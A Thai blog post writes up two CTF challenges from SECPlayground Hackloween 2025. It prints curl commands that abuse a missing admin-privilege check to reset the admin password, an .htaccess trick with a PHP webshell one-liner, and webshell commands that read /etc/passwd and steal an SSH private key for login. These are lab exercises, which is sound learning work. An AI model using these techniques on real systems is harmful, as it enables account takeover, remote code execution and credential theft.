รีวิวการแข่ง SECPlayground Hackloween CTF 2025 | wiki1 wiki2
กฤษฏิ์พัฒน์
เผยแพร่เมื่อ
อัปเดตล่าสุดเมื่อ

📌 สาระสำคัญ
- รีวิวการแข่ง SecPlayground
- Broken Access Control
- การใช้ webshell
- การ ssh ด้วย RSA key
รีวิวโจทย์สองข้อในการแข่ง SecPlayground Hackloween 2025
สวัสดีครับ ผมนอร์ทจาก Harbour.Space@UTCC ม.หอการค้าฯ กับ Leagues of Code TH ครับ ได้ลงแข่งในรายการ SecPlayground Hackloween 2025 ในทีมชื่อ lnwzaGayNorth696969 วันนี้อยากมาแชร์ประสบการณ์และแนวคิดในการแก้โจทย์ Pentest ที่น่าสนใจมาฝาก

ถ้าพร้อมแล้วก็
ไปกันนน!
โจทย์ 2 ข้อนี้อยู่ในหมวด pentest + pwnable
🦄 Wiki#1
Dr. Mitchell's so confident in her system that she's offered a bonus if you can prove her wrong.
Flag Format: pwnable{….} โจทย์ให้ port 80,2222,4444,4445 มา
ผมลองใช้ nmap -sV เช็ค service แต่ละ port
1nmap -sV -p port_number ipserver

จะเห็นว่ามี port 80 service เป็น http และ port 2222 ที่เป็น ssh หลังจากนั้นผมก็ลองเข้าหน้าเว็บ และใช้ gobuster สแกน เว็บบน terminal

ทีนี้ก็จะเห็นว่ามี path upload ซึ่งอาจจะทำการ upload file เพื่อเรียก webshell ได้และยังมี path api ที่อาจจะมีช่องโหว่ได้ (ที่จริงหน้าเว็บมี button ให้เรา redirect ไปpath api อยู่)
หลังจากอ่าน API ดูก็เจอส่วนที่บอกว่า

จะเห็นได้ว่ามี path /admin-reset-password.php และมี note ว่า Requires user session but no admin privilege check แปลว่าสามารถใช้ user session login ไปแก้ไข password ของ admin ได้
ทีนี้ sign up สร้าง account ใหม่ขึ้นมาผมจะให้ username: user password: user888 หลังจากนั้นเข้าไปแล้วใช้ลอง inspect ดู cookie session หรือจะ burpsuite ดักแล้วดูก็ได้
หลังจากได้ cookie มา สมมติ cookie ที่ผมได้ คือ PHPSESSID:"ad7lctv9m3g8uplckps8hnfksm”
ผมจะใช้คำสั่ง curl ในการแก้ header แล้วดูสิ่งที่ server ตอบกลับมา
1234567curl -X POST http://136.110.4.23/admin-reset-password.php \ #ใส่ target url เราไปที่ path adimin-reset-password.php เพราะจากข้อมูลที่เราได้เราต้องแก้ password ด้วย path# -H คือแก้ header-H "Cookie: PHPSESSID=ad7lctv9m3g8uplckps8hnfksm" \ #ใส่ cookie ของเราเข้าไป-H "Content-Type: application/x-www-form-urlencoded" \ #ระบุ format data (Example format data of this content is key1=value1&key2=value2)-H "Referer: http://136.110.4.23/" \ #หลอก server ว่าคำขอมาจากหน้าเว็บ สามารถนำไปใช้ bypass basic CSRF protection ได้-d "username=admin&new_password=pwned123" \ #ใส่ data ตาม parameter จากที่ได้จากการอ่าน JSON ด้านบน ตรง new_password ใส่รหัสอะไรก็ได้ที่เราอยากใส่-v #บอกให้โชว์ทั้ง request และ respond
ส่วนของresult ที่ได้
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071Note: Unnecessary use of -X or --request, POST is already inferred.* Trying 136.110.4.23:80...* Connected to 136.110.4.23 (136.110.4.23) port 80* using HTTP/1.x> POST /admin-reset-password.php HTTP/1.1> Host: 136.110.4.23> User-Agent: curl/8.12.1> Accept: */*> Cookie: PHPSESSID=ad7lctv9m3g8uplckps8hnfksm> Content-Type: application/x-www-form-urlencoded> Referer: http://136.110.4.23/> Content-Length: 36>* upload completely sent off: 36 bytes< HTTP/1.1 200 OK< Date: Sat, 01 Nov 2025 03:57:45 GMT< Server: Apache/2.4.52 (Ubuntu)< X-Frame-Options: SAMEORIGIN< X-Content-Type-Options: nosniff< X-XSS-Protection: 1; mode=block< Expires: Thu, 19 Nov 1981 08:52:00 GMT< Cache-Control: no-store, no-cache, must-revalidate< Pragma: no-cache< Vary: Accept-Encoding< Content-Length: 2076< Content-Type: text/html; charset=UTF-8<<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Admin Reset Password - SecureWiki Pro</title><link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet"></head><body><div class="container mt-5"><div class="row justify-content-center"><div class="col-md-6"><div class="card"><div class="card-header"><h3 class="text-center">Admin Password Reset</h3></div><div class="card-body"><div class="alert alert-danger">Invalid CSRF token</div><form method="POST"><input type="hidden" name="csrf_token" value="7b6c6c1b33e6ada106d9dcf18695e6dcb85707bfb6ee7b9e862ba1e74c2d5e1a"><div class="mb-3"><label for="username" class="form-label">Username</label><input type="text" class="form-control" id="username" name="username" value="" required></div><div class="mb-3"><label for="new_password" class="form-label">New Password</label><input type="password" class="form-control" id="new_password" name="new_password" required></div><button type="submit" class="btn btn-primary w-100">Reset Password</button></form><div class="text-center mt-3"><a href="index.php">Back to Home</a></div></div></div></div></div></div></body>* Connection #0 to host 136.110.4.23 left intact</html>
จาก result ที่เราได้จะสังเกตเห็นว่ามี <div class="alert alert-danger">Invalid CSRF token</div> บอกว่า csrf token ไม่ถูกต้อง และ
1<input type="hidden" name="csrf_token" value="7b6c6c1b33e6ada106d9dcf18695e6dcb85707bfb6ee7b9e862ba1e74c2d5e1a">
มีการให้ csrf token ผ่าน variable csrf_token ที่นี้ผมเลยจะใส่ csrf ตอนระบุ data เพิ่มไปด้วย
1234curl -X POST http://136.110.4.23/admin-reset-password.php \-H "Cookie: PHPSESSID=ad7lctv9m3g8uplckps8hnfksm" \-H "Content-Type: application/x-www-form-urlencoded" \-d "username=admin&new_password=pwned123&csrf_token=7b6c6c1b33e6ada106d9dcf18695e6dcb85707bfb6ee7b9e862ba1e74c2d5e1a"
result ที่ได้คือ
123456789101112131415161718192021222324252627282930313233343536373839404142434445<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Admin Reset Password - SecureWiki Pro</title><link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet"></head><body><div class="container mt-5"><div class="row justify-content-center"><div class="col-md-6"><div class="card"><div class="card-header"><h3 class="text-center">Admin Password Reset</h3></div><div class="card-body"><div class="alert alert-success">Password reset successfully for user: admin</div><form method="POST"><input type="hidden" name="csrf_token" value="7b6c6c1b33e6ada106d9dcf18695e6dcb85707bfb6ee7b9e862ba1e74c2d5e1a"><div class="mb-3"><label for="username" class="form-label">Username</label><input type="text" class="form-control" id="username" name="username" value="" required></div><div class="mb-3"><label for="new_password" class="form-label">New Password</label><input type="password" class="form-control" id="new_password" name="new_password" required></div><button type="submit" class="btn btn-primary w-100">Reset Password</button></form><div class="text-center mt-3"><a href="index.php">Back to Home</a></div></div></div></div></div></div></body></html>
จะเห็นว่า Password reset สำเร็จจากบรรทัด <div class="alert alert-success">Password reset successfully for user: admin</div>
จะเห็นได้ว่ามีการระบุว่า log in สำเร็จทีนี้ผมก็เข้าไปล็อกอินหน้าเว็บไซต์ด้วย
user: admin password: pwned123
ก็จะเห็นช่อง upload file (ลืมแคปรูป T-T) ซึ่งข้อความระบุว่า
Maximum file size: 10MB per upload
Blocked extensions: .php, .php3, .php4, .php5, .phtml, .phar, .exe, .sh, .bat, .cmd
Configuration files (.htaccess) are allowed for web server customization
ซึ่งแปลว่าเราไม่สามารถ upload .php ได้โดยตรง ต้อง upload ไฟล์ .htaccess ก่อน
ผมก็จะสร้างไฟล์ .htaccess
1234echo "AddType application/x-httpd-php .jpg" > .htaccess#AddType คือ Apache directive (command)#application/x-httpd-php ตรงนี้คือ MIME type ซึ่งเราระบุไปว่าสำหรับ php file เพื่อให้บอก Apache ว่า ให้มองอันนี้เป็น php ไฟล์และ execute#.jpg ก็คือ ประเภท file ที่เราจะอัปโหลด
หลังจากนั้นผมก็ upload ไปในช่อง upload
จากนั้นผมก็สร้างไฟล์ .php.jpg ขึ้นมา
1echo '<?php system($_GET["cmd"]); ?>' > shell.php.jpg
แล้วก็ upload ขึ้นไปในช่อง upload หลังจากนั้นก็ลองเล่นกับ webshell ดู
1curl "http://136.110.4.23/uploads/shell.php.jpg?cmd=whoami"
result จะขึ้นว่า www-data ก็คือ user ปัจจุบันเรา และแปลว่า webshell active เรียบร้อย
ที่นี้ผมก็ลองใช้คำสั่ง find ในการหา flag ดู find / -name *flag* 2> /dev/null
คำสั่งนี้คือการหา file ที่มีคำว่า flag ทั่วระบบโดยจะนำ error ไปทิ้งที่ /dev/null
1curl "http://136.110.4.23/uploads/shell.php.jpg?cmd=find+/+-name+*flag*+2>/dev/null"
result ที่ได้

ก็จะเห็นว่ามี flag.txt ซ่อนอยู่ที่ /tmp/flag_ZTBhN.txt จะรออะไรล่ะคับแมวเลย
1curl "http://136.110.4.23/uploads/shell.php.jpg?cmd=cat+/tmp/flag_ZTBhN.txt"
ข่าวดีผมลืม copy flag มา T-T
🦄 Wiki#2
หลังจากที่ผมทำข้อแรกเสร็จก็เดาๆเลยว่าน่าจะเล่นกับคำสั่ง ssh แน่ๆ
ซึ่งโจทย์มาแค่ "After the 1st flag, you need to find another flag inside the host"
ซึ่งตอนนี้ผมจะใช้ ssh ได้ไงเพราะผมไม่รู้ user ไม่รู้ password ในเครื่องที่จะ ssh เข้าเลย ผมก็เลยจะเริ่มจากการหา user ก่อนใน /etc/passwd แล้ว grep หา /bin/bash เพราะว่าปกติ user จะมีshell เป็น /bin/bash
1curl "http://34.124.247.228/uploads/shell.php.jpg?cmd=cat+/etc/passwd+|+grep+/bin/bash"
result ที่ได้
ทีนี้ผมเห็น 2 users คือ root กับ uncle ผมเลยมั่นใจเลยว่าจะต้องใช้ user uncle แน่ๆ
ทีนี้ยังเหลือรหัสผ่านซึ่งผมจะใช้เป็น RSA key ในการเข้าไปยัง server
ที่นี้ผมก็ลองจะเข้าไปใน directory ของ uncle เพื่อจะเข้า directory .ssh ดูก็เข้าไม่ได้เพราะไม่มี permission ทีนี้ผมก็เลยไปเช็คที่ directory /tmp ที่เจอ flag แรกดู (ที่จริงตรงนี้ผมก็หลงทางอยู่นานอยู่แต่โจทย์แอบสกิดใจเลยลองไปดูที่ directory temporary ก็คือบริเวณที่เจอ flag แรก)
1curl "http://34.124.247.228/uploads/shell.php.jpg?cmd=ls+-la+/tmp"
result ที่ได้

หลังจากนั้นก็ลอง list ไฟล์ ใน ssh_backup ดู
1curl "http://34.124.247.228/uploads/shell.php.jpg?cmd=ls+-la+/tmp/ssh_backup"
แล้วผมก็เจอ file ชื่อ id_rsa อยู่ รออะไรล่ะคับรีบแมวเลย
1curl "http://34.124.247.228/uploads/shell.php.jpg?cmd=cat+/tmp/ssh_backup/id_rsa"

ทีนี้ผมก็จะเอา key ที่ได้มาสร้างเป็น file ในเครื่องตัวเองและเปลี่ยน permission
ที่เราเปลี่ยน permission เป็น 600 เพราะว่าจะให้ owner สามารถ read + write ได้และคนอื่นไม่สามารถทำอะไรกับ file นี้ได้ ถ้าใช้ permission อื่นๆ SSH จะ ปฏิเสธ ใช้ key นั้นโดยตรง เพื่อป้องกันความเสี่ยง
12345# Save filecurl "http://34.124.247.228/uploads/shell.php.jpg?cmd=cat+/tmp/ssh_backup/id_rsa" > uncle_id_rsa# เปลี่ยน Permissionchmod 600 uncle_id_rsa
หลังจากนั้นก็ ssh เข้าด้วย RSA key
1ssh -i uncle_id_rsa -p 2222 [email protected]
ทีนี้ก็จะเข้าเครื่องได้
หลังจากนั้นผมก็เข้าไปเช็ค directory ใน folder ของ uncle ถ้าผมจำไม่ผิดผมก็ไม่เจออะไร
ผมเลยอยากลองดูprocess จาก root ใช้คำสั่ง
1ps aux | grep root
จะเจอ

จากที่ผมเห็นผมคิดว่าโอเค flag อยู่ใน directory ของ root แน่ๆ และก็มี setup database อยู่ที่ /usr/local/bin/setup-db.sh
ก็เลยลองแมวออกมาดูเผื่อเจออะไรสำคัญ
1cat /usr/local/bin/setup-db.sh

เราได้ password เรียบร้อย
ทีนี้ผมก็จะใช้ sudo su ในการเปลี่ยน user เป็น root
ซึ่ง server ตอบกลับมาว่า

ช็อต!!!!!!!!!! ไม่สามารถใช้ sudo ได้
ทีนี้ผมลองเช็คหลายอย่างมากก็ไม่เจอ + Permission denied
ทีนี้ผมเลยลองใช้ผ่าน webshell เพราะว่ามันคือ คนละ user อาจจะมี permission ที่แตกต่าง หรือ อาจอยู่ใน environment ของ www-data
ผมเลยลอง หาใน env ของ www-data และลองเพิ่ม keyword random ไปด้วย
1curl "http://34.124.247.228/uploads/shell.php.jpg?cmd=env" | grep -i random

เจอ flag และ ได้ First blood ด้วยสำหรับข้อนี้
ขอบคุณที่อ่านจนจบคั้บบบบ <3
บทความที่เกี่ยวข้อง
วิชาการความรู้CodeQuiz EP.19 - ทำไมจำนวนเต็มใน C/C++ ถึงมากที่่สุดที่ 2^31 - 1

พี่ปาล์ม ชิติพัทธ์
เผยแพร่เมื่อ
วิชาการความรู้CodeQuiz EP.22 - คอมเตอร์คูณเลขยังไง?

พี่ปาล์ม ชิติพัทธ์
เผยแพร่เมื่อ
ข้อมูลทั่วไปHackathonประกาศทีมที่ผ่านเข้ารอบสุดท้ายโครงการ Leagues of Code AI Hackathon ครั้งที่ 1

พี่ดิว รุจิภาส
เผยแพร่เมื่อ
ข้อมูลทั่วไปHackathonประกาศรายชื่อทีมที่เข้าร่วม Leagues of Code AI Hackathon ปี 1

พี่ดิว รุจิภาส
เผยแพร่เมื่อ